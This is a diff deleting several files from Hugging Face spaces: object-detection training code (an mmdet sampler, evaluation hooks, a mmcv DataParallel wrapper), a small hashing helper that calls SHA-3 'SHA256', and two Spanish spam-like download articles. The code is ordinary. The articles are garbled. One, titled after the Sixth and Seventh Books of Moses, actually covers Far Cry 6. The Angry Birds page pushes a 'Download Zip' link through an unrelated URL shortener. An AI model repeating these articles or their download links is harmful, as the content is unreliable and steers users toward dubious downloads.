- rois = bbox2roi([bboxes])
33
- if not hasattr(self.context, 'num_stages'):
34
- bbox_results = self.context._bbox_forward(feats, rois)
35
- else:
36
- bbox_results = self.context._bbox_forward(
37
- self.context.current_stage, feats, rois)
38
- cls_score = bbox_results['cls_score']
39
- loss = self.bbox_head.loss(
40
- cls_score=cls_score,
41
- bbox_pred=None,
42
- rois=rois,
43
- labels=labels,
44
- label_weights=cls_score.new_ones(cls_score.size(0)),
45
- bbox_targets=None,
46
- bbox_weights=None,
47
- reduction_override='none')['loss_cls']
48
- _, topk_loss_inds = loss.topk(num_expected)
49
- return inds[topk_loss_inds]
50
-
51
- def _sample_pos(self,
52
- assign_result,
53
- num_expected,
54
- bboxes=None,
55
- feats=None,
56
- **kwargs):
57
- """Sample positive boxes.
58
-
59
- Args:
60
- assign_result (:obj:`AssignResult`): Assigned results
61
- num_expected (int): Number of expected positive samples
62
- bboxes (torch.Tensor, optional): Boxes. Defaults to None.
63
- feats (list[torch.Tensor], optional): Multi-level features.
64
- Defaults to None.
65
-
66
- Returns:
67
- torch.Tensor: Indices of positive samples
68
- """
69
- # Sample some hard positive samples
70
- pos_inds = torch.nonzero(assign_result.gt_inds > 0, as_tuple=False)
71
- if pos_inds.numel() != 0:
72
- pos_inds = pos_inds.squeeze(1)
73
- if pos_inds.numel() <= num_expected:
74
- return pos_inds
75
- else:
76
- return self.hard_mining(pos_inds, num_expected, bboxes[pos_inds],
77
- assign_result.labels[pos_inds], feats)
78
-
79
- def _sample_neg(self,
80
- assign_result,
81
- num_expected,
82
- bboxes=None,
83
- feats=None,
84
- **kwargs):
85
- """Sample negative boxes.
86
-
87
- Args:
88
- assign_result (:obj:`AssignResult`): Assigned results
89
- num_expected (int): Number of expected negative samples
90
- bboxes (torch.Tensor, optional): Boxes. Defaults to None.
91
- feats (list[torch.Tensor], optional): Multi-level features.
92
- Defaults to None.
93
-
94
- Returns:
95
- torch.Tensor: Indices of negative samples
96
- """
97
- # Sample some hard negative samples
98
- neg_inds = torch.nonzero(assign_result.gt_inds == 0, as_tuple=False)
99
- if neg_inds.numel() != 0:
100
- neg_inds = neg_inds.squeeze(1)
101
- if len(neg_inds) <= num_expected:
102
- return neg_inds
103
- else:
104
- neg_labels = assign_result.labels.new_empty(
105
- neg_inds.size(0)).fill_(self.bbox_head.num_classes)
106
- return self.hard_mining(neg_inds, num_expected, bboxes[neg_inds],
107
- neg_labels, feats)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Andy1621/uniformer_image_detection/mmdet/core/evaluation/eval_hooks.py DELETED
@@ -1,303 +0,0 @@
1
- import os.path as osp
2
- import warnings
3
- from math import inf
4
-
5
- import mmcv
6
- import torch.distributed as dist
7
- from mmcv.runner import Hook
8
- from torch.nn.modules.batchnorm import _BatchNorm
9
- from torch.utils.data import DataLoader
10
-
11
- from mmdet.utils import get_root_logger
12
-
13
-
14
- class EvalHook(Hook):
15
- """Evaluation hook.
16
-
17
- Notes:
18
- If new arguments are added for EvalHook, tools/test.py,
19
- tools/analysis_tools/eval_metric.py may be effected.
20
-
21
- Attributes:
22
- dataloader (DataLoader): A PyTorch dataloader.
23
- start (int, optional): Evaluation starting epoch. It enables evaluation
24
- before the training starts if ``start`` <= the resuming epoch.
25
- If None, whether to evaluate is merely decided by ``interval``.
26
- Default: None.
27
- interval (int): Evaluation interval (by epochs). Default: 1.
28
- save_best (str, optional): If a metric is specified, it would measure
29
- the best checkpoint during evaluation. The information about best
30
- checkpoint would be save in best.json.
31
- Options are the evaluation metrics to the test dataset. e.g.,
32
- ``bbox_mAP``, ``segm_mAP`` for bbox detection and instance
33
- segmentation. ``AR@100`` for proposal recall. If ``save_best`` is
34
- ``auto``, the first key will be used. The interval of
35
- ``CheckpointHook`` should device EvalHook. Default: None.
36
- rule (str, optional): Comparison rule for best score. If set to None,
37
- it will infer a reasonable rule. Keys such as 'mAP' or 'AR' will
38
- be inferred by 'greater' rule. Keys contain 'loss' will be inferred
39
- by 'less' rule. Options are 'greater', 'less'. Default: None.
40
- **eval_kwargs: Evaluation arguments fed into the evaluate function of
41
- the dataset.
42
- """
43
-
44
- rule_map = {'greater': lambda x, y: x > y, 'less': lambda x, y: x < y}
45
- init_value_map = {'greater': -inf, 'less': inf}
46
- greater_keys = ['mAP', 'AR']
47
- less_keys = ['loss']
48
-
49
- def __init__(self,
50
- dataloader,
51
- start=None,
52
- interval=1,
53
- by_epoch=True,
54
- save_best=None,
55
- rule=None,
56
- **eval_kwargs):
57
- if not isinstance(dataloader, DataLoader):
58
- raise TypeError('dataloader must be a pytorch DataLoader, but got'
59
- f' {type(dataloader)}')
60
- if not interval > 0:
61
- raise ValueError(f'interval must be positive, but got {interval}')
62
- if start is not None and start < 0:
63
- warnings.warn(
64
- f'The evaluation start epoch {start} is smaller than 0, '
65
- f'use 0 instead', UserWarning)
66
- start = 0
67
- self.dataloader = dataloader
68
- self.interval = interval
69
- self.by_epoch = by_epoch
70
- self.start = start
71
- assert isinstance(save_best, str) or save_best is None
72
- self.save_best = save_best
73
- self.eval_kwargs = eval_kwargs
74
- self.initial_epoch_flag = True
75
-
76
- self.logger = get_root_logger()
77
-
78
- if self.save_best is not None:
79
- self._init_rule(rule, self.save_best)
80
-
81
- def _init_rule(self, rule, key_indicator):
82
- """Initialize rule, key_indicator, comparison_func, and best score.
83
-
84
- Args:
85
- rule (str | None): Comparison rule for best score.
86
- key_indicator (str | None): Key indicator to determine the
87
- comparison rule.
88
- """
89
- if rule not in self.rule_map and rule is not None:
90
- raise KeyError(f'rule must be greater, less or None, '
91
- f'but got {rule}.')
92
-
93
- if rule is None:
94
- if key_indicator != 'auto':
95
- if any(key in key_indicator for key in self.greater_keys):
96
- rule = 'greater'
97
- elif any(key in key_indicator for key in self.less_keys):
98
- rule = 'less'
99
- else:
100
- raise ValueError(f'Cannot infer the rule for key '
101
- f'{key_indicator}, thus a specific rule '
102
- f'must be specified.')
103
- self.rule = rule
104
- self.key_indicator = key_indicator
105
- if self.rule is not None:
106
- self.compare_func = self.rule_map[self.rule]
107
-
108
- def before_run(self, runner):
109
- if self.save_best is not None:
110
- if runner.meta is None:
111
- warnings.warn('runner.meta is None. Creating a empty one.')
112
- runner.meta = dict()
113
- runner.meta.setdefault('hook_msgs', dict())
114
-
115
- def before_train_epoch(self, runner):
116
- """Evaluate the model only at the start of training."""
117
- if not self.initial_epoch_flag:
118
- return
119
- if self.start is not None and runner.epoch >= self.start:
120
- self.after_train_epoch(runner)
121
- self.initial_epoch_flag = False
122
-
123
- def evaluation_flag(self, runner):
124
- """Judge whether to perform_evaluation after this epoch.
125
-
126
- Returns:
127
- bool: The flag indicating whether to perform evaluation.
128
- """
129
- if self.start is None:
130
- if not self.every_n_epochs(runner, self.interval):
131
- # No evaluation during the interval epochs.
132
- return False
133
- elif (runner.epoch + 1) < self.start:
134
- # No evaluation if start is larger than the current epoch.
135
- return False
136
- else:
137
- # Evaluation only at epochs 3, 5, 7... if start==3 and interval==2
138
- if (runner.epoch + 1 - self.start) % self.interval:
139
- return False
140
- return True
141
-
142
- def after_train_epoch(self, runner):
143
- if not self.by_epoch or not self.evaluation_flag(runner):
144
- return
145
- from mmdet.apis import single_gpu_test
146
- results = single_gpu_test(runner.model, self.dataloader, show=False)
147
- key_score = self.evaluate(runner, results)
148
- if self.save_best:
149
- self.save_best_checkpoint(runner, key_score)
150
-
151
- def after_train_iter(self, runner):
152
- if self.by_epoch or not self.every_n_iters(runner, self.interval):
153
- return
154
- from mmdet.apis import single_gpu_test
155
- results = single_gpu_test(runner.model, self.dataloader, show=False)
156
- key_score = self.evaluate(runner, results)
157
- if self.save_best:
158
- self.save_best_checkpoint(runner, key_score)
159
-
160
- def save_best_checkpoint(self, runner, key_score):
161
- best_score = runner.meta['hook_msgs'].get(
162
- 'best_score', self.init_value_map[self.rule])
163
- if self.compare_func(key_score, best_score):
164
- best_score = key_score
165
- runner.meta['hook_msgs']['best_score'] = best_score
166
- last_ckpt = runner.meta['hook_msgs']['last_ckpt']
167
- runner.meta['hook_msgs']['best_ckpt'] = last_ckpt
168
- mmcv.symlink(
169
- last_ckpt,
170
- osp.join(runner.work_dir, f'best_{self.key_indicator}.pth'))
171
- time_stamp = runner.epoch + 1 if self.by_epoch else runner.iter + 1
172
- self.logger.info(f'Now best checkpoint is epoch_{time_stamp}.pth.'
173
- f'Best {self.key_indicator} is {best_score:0.4f}')
174
-
175
- def evaluate(self, runner, results):
176
- eval_res = self.dataloader.dataset.evaluate(
177
- results, logger=runner.logger, **self.eval_kwargs)
178
- for name, val in eval_res.items():
179
- runner.log_buffer.output[name] = val
180
- runner.log_buffer.ready = True
181
- if self.save_best is not None:
182
- if self.key_indicator == 'auto':
183
- # infer from eval_results
184
- self._init_rule(self.rule, list(eval_res.keys())[0])
185
- return eval_res[self.key_indicator]
186
- else:
187
- return None
188
-
189
-
190
- class DistEvalHook(EvalHook):
191
- """Distributed evaluation hook.
192
-
193
- Notes:
194
- If new arguments are added, tools/test.py may be effected.
195
-
196
- Attributes:
197
- dataloader (DataLoader): A PyTorch dataloader.
198
- start (int, optional): Evaluation starting epoch. It enables evaluation
199
- before the training starts if ``start`` <= the resuming epoch.
200
- If None, whether to evaluate is merely decided by ``interval``.
201
- Default: None.
202
- interval (int): Evaluation interval (by epochs). Default: 1.
203
- tmpdir (str | None): Temporary directory to save the results of all
204
- processes. Default: None.
205
- gpu_collect (bool): Whether to use gpu or cpu to collect results.
206
- Default: False.
207
- save_best (str, optional): If a metric is specified, it would measure
208
- the best checkpoint during evaluation. The information about best
209
- checkpoint would be save in best.json.
210
- Options are the evaluation metrics to the test dataset. e.g.,
211
- ``bbox_mAP``, ``segm_mAP`` for bbox detection and instance
212
- segmentation. ``AR@100`` for proposal recall. If ``save_best`` is
213
- ``auto``, the first key will be used. The interval of
214
- ``CheckpointHook`` should device EvalHook. Default: None.
215
- rule (str | None): Comparison rule for best score. If set to None,
216
- it will infer a reasonable rule. Default: 'None'.
217
- broadcast_bn_buffer (bool): Whether to broadcast the
218
- buffer(running_mean and running_var) of rank 0 to other rank
219
- before evaluation. Default: True.
220
- **eval_kwargs: Evaluation arguments fed into the evaluate function of
221
- the dataset.
222
- """
223
-
224
- def __init__(self,
225
- dataloader,
226
- start=None,
227
- interval=1,
228
- by_epoch=True,
229
- tmpdir=None,
230
- gpu_collect=False,
231
- save_best=None,
232
- rule=None,
233
- broadcast_bn_buffer=True,
234
- **eval_kwargs):
235
- super().__init__(
236
- dataloader,
237
- start=start,
238
- interval=interval,
239
- by_epoch=by_epoch,
240
- save_best=save_best,
241
- rule=rule,
242
- **eval_kwargs)
243
- self.broadcast_bn_buffer = broadcast_bn_buffer
244
- self.tmpdir = tmpdir
245
- self.gpu_collect = gpu_collect
246
-
247
- def _broadcast_bn_buffer(self, runner):
248
- # Synchronization of BatchNorm's buffer (running_mean
249
- # and running_var) is not supported in the DDP of pytorch,
250
- # which may cause the inconsistent performance of models in
251
- # different ranks, so we broadcast BatchNorm's buffers
252
- # of rank 0 to other ranks to avoid this.
253
- if self.broadcast_bn_buffer:
254
- model = runner.model
255
- for name, module in model.named_modules():
256
- if isinstance(module,
257
- _BatchNorm) and module.track_running_stats:
258
- dist.broadcast(module.running_var, 0)
259
- dist.broadcast(module.running_mean, 0)
260
-
261
- def after_train_epoch(self, runner):
262
- if not self.by_epoch or not self.evaluation_flag(runner):
263
- return
264
-
265
- if self.broadcast_bn_buffer:
266
- self._broadcast_bn_buffer(runner)
267
-
268
- from mmdet.apis import multi_gpu_test
269
- tmpdir = self.tmpdir
270
- if tmpdir is None:
271
- tmpdir = osp.join(runner.work_dir, '.eval_hook')
272
- results = multi_gpu_test(
273
- runner.model,
274
- self.dataloader,
275
- tmpdir=tmpdir,
276
- gpu_collect=self.gpu_collect)
277
- if runner.rank == 0:
278
- print('\n')
279
- key_score = self.evaluate(runner, results)
280
- if self.save_best:
281
- self.save_best_checkpoint(runner, key_score)
282
-
283
- def after_train_iter(self, runner):
284
- if self.by_epoch or not self.every_n_iters(runner, self.interval):
285
- return
286
-
287
- if self.broadcast_bn_buffer:
288
- self._broadcast_bn_buffer(runner)
289
-
290
- from mmdet.apis import multi_gpu_test
291
- tmpdir = self.tmpdir
292
- if tmpdir is None:
293
- tmpdir = osp.join(runner.work_dir, '.eval_hook')
294
- results = multi_gpu_test(
295
- runner.model,
296
- self.dataloader,
297
- tmpdir=tmpdir,
298
- gpu_collect=self.gpu_collect)
299
- if runner.rank == 0:
300
- print('\n')
301
- key_score = self.evaluate(runner, results)
302
- if self.save_best:
303
- self.save_best_checkpoint(runner, key_score)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Anonymous-sub/Rerender/ControlNet/annotator/uniformer/mmcv/parallel/data_parallel.py DELETED
@@ -1,89 +0,0 @@
1
- # Copyright (c) OpenMMLab. All rights reserved.
2
- from itertools import chain
3
-
4
- from torch.nn.parallel import DataParallel
5
-
6
- from .scatter_gather import scatter_kwargs
7
-
8
-
9
- class MMDataParallel(DataParallel):
10
- """The DataParallel module that supports DataContainer.
11
-
12
- MMDataParallel has two main differences with PyTorch DataParallel:
13
-
14
- - It supports a custom type :class:`DataContainer` which allows more
15
- flexible control of input data during both GPU and CPU inference.
16
- - It implement two more APIs ``train_step()`` and ``val_step()``.
17
-
18
- Args:
19
- module (:class:`nn.Module`): Module to be encapsulated.
20
- device_ids (list[int]): Device IDS of modules to be scattered to.
21
- Defaults to None when GPU is not available.
22
- output_device (str | int): Device ID for output. Defaults to None.
23
- dim (int): Dimension used to scatter the data. Defaults to 0.
24
- """
25
-
26
- def __init__(self, *args, dim=0, **kwargs):
27
- super(MMDataParallel, self).__init__(*args, dim=dim, **kwargs)
28
- self.dim = dim
29
-
30
- def forward(self, *inputs, **kwargs):
31
- """Override the original forward function.
32
-
33
- The main difference lies in the CPU inference where the data in
34
- :class:`DataContainers` will still be gathered.
35
- """
36
- if not self.device_ids:
37
- # We add the following line thus the module could gather and
38
- # convert data containers as those in GPU inference
39
- inputs, kwargs = self.scatter(inputs, kwargs, [-1])
40
- return self.module(*inputs[0], **kwargs[0])
41
- else:
42
- return super().forward(*inputs, **kwargs)
43
-
44
- def scatter(self, inputs, kwargs, device_ids):
45
- return scatter_kwargs(inputs, kwargs, device_ids, dim=self.dim)
46
-
47
- def train_step(self, *inputs, **kwargs):
48
- if not self.device_ids:
49
- # We add the following line thus the module could gather and
50
- # convert data containers as those in GPU inference
51
- inputs, kwargs = self.scatter(inputs, kwargs, [-1])
52
- return self.module.train_step(*inputs[0], **kwargs[0])
53
-
54
- assert len(self.device_ids) == 1, \
55
- ('MMDataParallel only supports single GPU training, if you need to'
56
- ' train with multiple GPUs, please use MMDistributedDataParallel'
57
- 'instead.')
58
-
59
- for t in chain(self.module.parameters(), self.module.buffers()):
60
- if t.device != self.src_device_obj:
61
- raise RuntimeError(
62
- 'module must have its parameters and buffers '
63
- f'on device {self.src_device_obj} (device_ids[0]) but '
64
- f'found one of them on device: {t.device}')
65
-
66
- inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
67
- return self.module.train_step(*inputs[0], **kwargs[0])
68
-
69
- def val_step(self, *inputs, **kwargs):
70
- if not self.device_ids:
71
- # We add the following line thus the module could gather and
72
- # convert data containers as those in GPU inference
73
- inputs, kwargs = self.scatter(inputs, kwargs, [-1])
74
- return self.module.val_step(*inputs[0], **kwargs[0])
75
-
76
- assert len(self.device_ids) == 1, \
77
- ('MMDataParallel only supports single GPU training, if you need to'
78
- ' train with multiple GPUs, please use MMDistributedDataParallel'
79
- ' instead.')
80
-
81
- for t in chain(self.module.parameters(), self.module.buffers()):
82
- if t.device != self.src_device_obj:
83
- raise RuntimeError(
84
- 'module must have its parameters and buffers '
85
- f'on device {self.src_device_obj} (device_ids[0]) but '
86
- f'found one of them on device: {t.device}')
87
-
88
- inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
89
- return self.module.val_step(*inputs[0], **kwargs[0])
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Banbri/zcvzcv/src/lib/computeSha256.ts DELETED
@@ -1,14 +0,0 @@
1
- import { createHash } from 'node:crypto'
2
-
3
- /**
4
- * Returns a SHA256 hash using SHA-3 for the given `content`.
5
- *
6
- * @see https://en.wikipedia.org/wiki/SHA-3
7
- *
8
- * @param {String} content
9
- *
10
- * @returns {String}
11
- */
12
- export function computeSha256(strContent: string) {
13
- return createHash('sha3-256').update(strContent).digest('hex')
14
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Benson/text-generation/Examples/Angry Birds Star Wars 2 Descarga Juego Para Pc Versin Completa.md DELETED
@@ -1,66 +0,0 @@
1
-
2
- <h1>Angry Birds Star Wars 2: Cómo descargar y jugar en PC</h1>
3
- <p>¿Eres fan de Angry Birds y Star Wars? Si es así, te encantará Angry Birds Star Wars 2, la secuela del popular juego crossover que combina lo mejor de ambos mundos. En este artículo, te mostraremos cómo descargar y jugar Angry Birds Star Wars 2 en tu PC, así como algunas características y consejos que harán que tu experiencia de juego sea más agradable. </p>
4
- <h2>angry birds star wars 2 descarga juego para pc versión completa</h2><br /><p><b><b>Download Zip</b> &middot;&middot;&middot; <a href="https://bltlly.com/2v6IV4">https://bltlly.com/2v6IV4</a></b></p><br /><br />
5
- <h2>Introducción</h2>
6
- <h3>¿Qué es Angry Birds Star Wars 2?</h3>
7
- <p>Angry Birds Star Wars 2 es un juego casual desarrollado por Rovio Entertainment Corporation, basado en la trilogía de precuela de Star Wars. El juego sigue la historia de las películas, con algunos giros y humor añadido por los personajes de Angry Birds. Puedes jugar como Bird Side o Pork Side, usando varios personajes, armas y habilidades inspiradas en el universo de Star Wars. El juego tiene más de 200 niveles, además de niveles de bonificación, logros y recompensas que puedes desbloquear recogiendo estrellas y monedas. </p>
8
- <h3>¿Por qué jugar Angry Birds Star Wars 2 en PC? </h3>
9
- <p>Mientras que Angry Birds Star Wars 2 está diseñado originalmente para dispositivos móviles, reproducirlo en PC tiene muchas ventajas. Por un lado, se puede disfrutar del juego en una pantalla más grande, con mejores gráficos y calidad de sonido. También puede utilizar el ratón y el teclado para controlar el juego más fácilmente, sin preocuparse por los dedos bloqueando la vista o quedándose sin batería. Jugar en PC también te da acceso a algunas funciones que no están disponibles en dispositivos móviles, como las mejoras BlueStacks que pueden mejorar tu experiencia de juego. </p>
10
- <h2>Cómo descargar y jugar Angry Birds Star Wars 2 en PC</h2>
11
- <h3>Método 1: Usando el emulador de BlueStacks</h3>
12
- <p>BlueStacks es un emulador de Android que te permite ejecutar aplicaciones y juegos de Android en tu PC. Es uno de los emuladores más populares y confiables del mercado, con más de 500 millones de usuarios en todo el mundo. Estos son los pasos para descargar y jugar Angry Birds Star Wars 2 en PC usando BlueStacks:</p>
13
-
14
- <p>Para descargar BlueStacks, vaya a <a href="( 1 )">https://www.bluestacks.com/apps/casual/ angry-birds-star-wars-2-on-pc.html</a> y haga clic en el botón Descargar Angry Birds Star Wars 2 en PC. Esto descargará el instalador de BlueStacks en su PC. Para instalar BlueStacks, haga doble clic en el instalador y siga las instrucciones en la pantalla. El proceso de instalación puede tardar unos minutos, dependiendo de las especificaciones de su PC. </p>
15
- <h4>Paso 2: Completa el inicio de sesión de Google para acceder a la Play Store</h4>
16
- <p>Después de instalar BlueStacks, iniciarlo y completar el proceso de inicio de sesión de Google. Esto te permitirá acceder a Google Play Store, donde puedes encontrar y descargar Angry Birds Star Wars 2. Si ya tienes una cuenta de Google, puedes usarla para iniciar sesión. Si no, puedes crear uno gratis. </p>
17
- <h4>Paso 3: Busca Angry Birds Star Wars 2 en la barra de búsqueda</h4>
18
- <p>Una vez que esté en la Play Store, busque Angry Birds Star Wars 2 en la barra de búsqueda en la esquina superior derecha de la pantalla. También puedes navegar por la categoría Casual para encontrar el juego. </p>
19
- <p></p>
20
- <h4>Paso 4: Haga clic para instalar Angry Birds Star Wars 2 de los resultados de búsqueda</h4>
21
- <p>Cuando vea Angry Birds Star Wars 2 en los resultados de búsqueda, haga clic en él para abrir su página. Luego, haz clic en el botón Instalar para comenzar a descargar e instalar el juego en tu PC. Esto puede tardar unos minutos, dependiendo de la velocidad de Internet y el rendimiento del PC. </p>
22
- <h4>Paso 5: Haga clic en el icono de Angry Birds Star Wars 2 en la pantalla de inicio para comenzar a jugar</h4>
23
- <p>Después de instalar Angry Birds Star Wars 2, puede encontrar su icono en la pantalla de inicio de BlueStacks. Haga clic en él para iniciar el juego y comenzar a jugar. También puedes acceder al juego desde tu escritorio o menú de inicio. </p>
24
- <h3>Método 2: Uso del sitio web de Rovio</h3>
25
-
26
- <h4>Paso 1: Ir al sitio web de Rovio y haga clic en Angry Birds Star Wars 2</h4>
27
- <p>Para ir al sitio web de Rovio, visite <a href=">https://www.rovio.com/games/angry-birds-star-wars-ii/</a> y haga clic en Angry Birds Star Wars 2. Esto lo llevará a la página del juego, donde puede ver algunas capturas de pantalla, videos e información sobre el juego. </p>
28
- <h4>Paso 2: Haga clic en Descargar ahora y elija su plataforma (Windows o Mac)</h4>
29
- <p>En la página del juego, haga clic en el botón Descargar ahora para proceder a la página de compra. Aquí, puede elegir su plataforma (Windows o Mac) y su método de pago (tarjeta de crédito o PayPal). El juego cuesta $4.95 para Windows y $5.99 para Mac.</p>
30
- <h4>Paso 3: Siga las instrucciones para instalar el juego en su PC</h4>
31
- <p>Después de comprar el juego, recibirá un correo electrónico con un enlace de descarga y una clave de licencia. Haga clic en el enlace de descarga para descargar el instalador del juego en su PC. Luego, ejecute el instalador y siga las instrucciones en la pantalla. Tendrá que introducir su clave de licencia cuando se le solicite. </p>
32
- <h4>Paso 4: Lanzar el juego y disfrutar de la aventura de Star Wars</h4>
33
- <p>Después de instalar el juego, puede iniciarlo desde su escritorio o menú de inicio. También puede crear un acceso directo para facilitar el acceso. ¡Disfruta jugando a Angry Birds Star Wars 2 en tu PC! </p>
34
- <h2>Características y consejos para jugar Angry Birds Star Wars 2 en PC</h2>
35
- <h3>Elija su lado: El lado del pájaro o el lado de cerdo</h3>
36
- <p>Una de las características únicas de Angry Birds Star Wars 2 es que puede elegir qué lado desea jugar como: El lado del pájaro o el lado de cerdo. Cada lado tiene su propia historia, niveles, personajes y habilidades. Puede cambiar de bando en cualquier momento pulsando en el icono de la esquina superior izquierda de la pantalla. También puede reproducir cualquier nivel con cualquier lado que desee. </p>
37
- <h3>Juega como más de 30 personajes del universo de Star Wars</h3>
38
-
39
- <h3>Usa la fuerza, sables de luz, blasters y otras armas para derrotar a tus enemigos</h3>
40
- <p>En Angry Birds Star Wars 2, puedes usar varias armas y gadgets del universo de Star Wars para derrotar a tus enemigos y destruir sus estructuras. Puedes usar la Fuerza para mover objetos, sables de luz para cortar metal, blasters para disparar láseres, imanes para atraer o repeler metal, cohetes para explotar en el impacto, y más. También puede utilizar elementos ambientales como cajas TNT, ventiladores, pozos de gravedad y portales a su favor. </p>
41
- <h3>Desbloquear niveles de bonificación, logros y recompensas mediante la recogida de estrellas y monedas</h3>
42
- <p>Al jugar Angry Birds Star Wars 2, puedes recoger estrellas y monedas completando niveles y alcanzando ciertos objetivos. Las estrellas se utilizan para desbloquear niveles de bonificación que presentan diferentes desafíos y escenarios. Las monedas se utilizan para comprar potenciadores que pueden ayudarte en el juego, como el Halcón Poderoso, el Droide Blaster, el Detonador Térmico y más. También puedes obtener logros al realizar tareas específicas, como usar un determinado personaje o arma varias veces, destruir una cierta cantidad de bloques o cerdos, o completar un nivel con una determinada puntuación. Los logros pueden darte monedas y recompensas adicionales. </p>
43
- <h3>Utilice la función Telepods para escanear sus juguetes físicos y traerlos al juego</h3>
44
- <p>Otra característica interesante de Angry Birds Star Wars 2 es la función Telepods. Los telepods son juguetes físicos que puedes comprar por separado del juego. Se basan en los personajes del juego, y vienen con una base que tiene un código QR. Puedes escanear el código QR usando la cámara de tu dispositivo y llevar el juguete al juego como un personaje jugable. Puedes usar cualquier personaje de Telepod en cualquier nivel que desees, independientemente del lado en el que estés jugando. También puedes intercambiar personajes durante el juego escaneando diferentes Telepods.</p>
45
- <h3>Utilice las mejoras BlueStacks para mejorar su experiencia de juego</h3>
46
-
47
- <h2>Conclusión</h2>
48
- <h3>Resumen de los puntos principales</h3>
49
- <p>En conclusión, Angry Birds Star Wars 2 es un juego divertido y adictivo que combina lo mejor de Angry Birds y Star Wars. Puedes descargarlo y reproducirlo en tu PC usando el emulador de BlueStacks o el sitio web de Rovio. Usted puede elegir qué lado que desea jugar como: El lado del pájaro o el lado de cerdo. Puedes jugar como más de 30 personajes del universo de Star Wars, cada uno con su propia habilidad especial. Puedes usar varias armas y gadgets del universo de Star Wars para derrotar a tus enemigos y destruir sus estructuras. Puedes desbloquear niveles de bonificación, logros y recompensas recogiendo estrellas y monedas. También puedes usar la función Telepods para escanear tus juguetes físicos y traerlos al juego. Y puedes usar las mejoras de BlueStacks para mejorar tu experiencia de juego. </p>
50
- <h3>Llamada a la acción</h3>
51
- <p>Si estás listo para unirte a la aventura épica de Star Wars con Angry Birds Star Wars 2 en PC, descárgalo ahora y comienza a jugar. ¡Que los pájaros estén contigo! </p>
52
- <h4>Preguntas frecuentes</h4>
53
- <ul>
54
- <li>Q: ¿Cuánto espacio ocupa Angry Birds Star Wars 2 en el PC? </li>
55
- <li>A: Según el sitio web de Rovio, Angry Birds Star Wars 2 toma unos 500 MB de espacio en PC.</li>
56
- <li>Q: ¿Cómo puedo actualizar Angry Birds Star Wars 2 en PC? </li>
57
- <li>A: Si está utilizando BlueStacks emulador, puede actualizar Angry Birds Star Wars 2 a través de la Google Play Store. Si está utilizando el sitio web de Rovio, puede comprobar si hay actualizaciones en su sitio web o en el propio juego. </li>
58
- <li>Q: ¿Cómo puedo obtener más monedas en Angry Birds Star Wars 2?</li>
59
- <li>A: Puedes obtener más monedas en Angry Birds Star Wars 2 completando niveles, ganando logros, viendo anuncios o comprándolos con dinero real. </li>
60
- <li>Q: ¿Cómo puedo usar potenciadores en Angry Birds Star Wars 2?</li>
61
-
62
- <li>Q: ¿Cómo puedo obtener más telepods en Angry Birds Star Wars 2?</li>
63
- <li>A: Puedes obtener más Telepods en Angry Birds Star Wars 2 comprándolos en tiendas online o offline. Se venden en packs que contienen diferentes personajes y bases. También puedes conseguirlos como regalos o promociones de Rovio u otros socios. </li>
64
- </ul></p> 64aa2da5cf<br />
65
- <br />
66
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Benson/text-generation/Examples/Descargar 6 Y 7 Libro De Moiss.md DELETED
@@ -1,126 +0,0 @@
1
-
2
- <h1>Cómo descargar Far Cry 6</h1>
3
- <p>Far Cry 6 es uno de los juegos más esperados de 2023, y finalmente está aquí. El juego se desarrolla en la ficticia isla caribeña de Yara, donde juegas como Dani Rojas, un guerrillero que se une a una revolución contra el dictador tiránico Antón Castillo, interpretado por Giancarlo Esposito. Far Cry 6 presenta un entorno de mundo abierto, una variedad de armas y vehículos, compañeros de animales, multijugador cooperativo y más. </p>
4
- <h2>descargar 6 y 7 libro de moisés</h2><br /><p><b><b>Download</b> &#127775; <a href="https://bltlly.com/2v6Mka">https://bltlly.com/2v6Mka</a></b></p><br /><br />
5
- <p>Far Cry 6 fue lanzado en todo el mundo el 7 de octubre de 2023, para PlayStation 4, PlayStation 5, Xbox One, Xbox Series X/S, PC, Stadia y Amazon Luna. Si te estás preguntando cómo descargar Far Cry 6 en tu plataforma preferida, has venido al lugar correcto. En este artículo, te mostraremos todo lo que necesitas saber sobre la descarga de Far Cry 6, incluidos los bonos de reserva, los requisitos del sistema y las guías paso a paso para cada plataforma. </p>
6
- <h2>Far Cry 6 Bonos de reserva</h2>
7
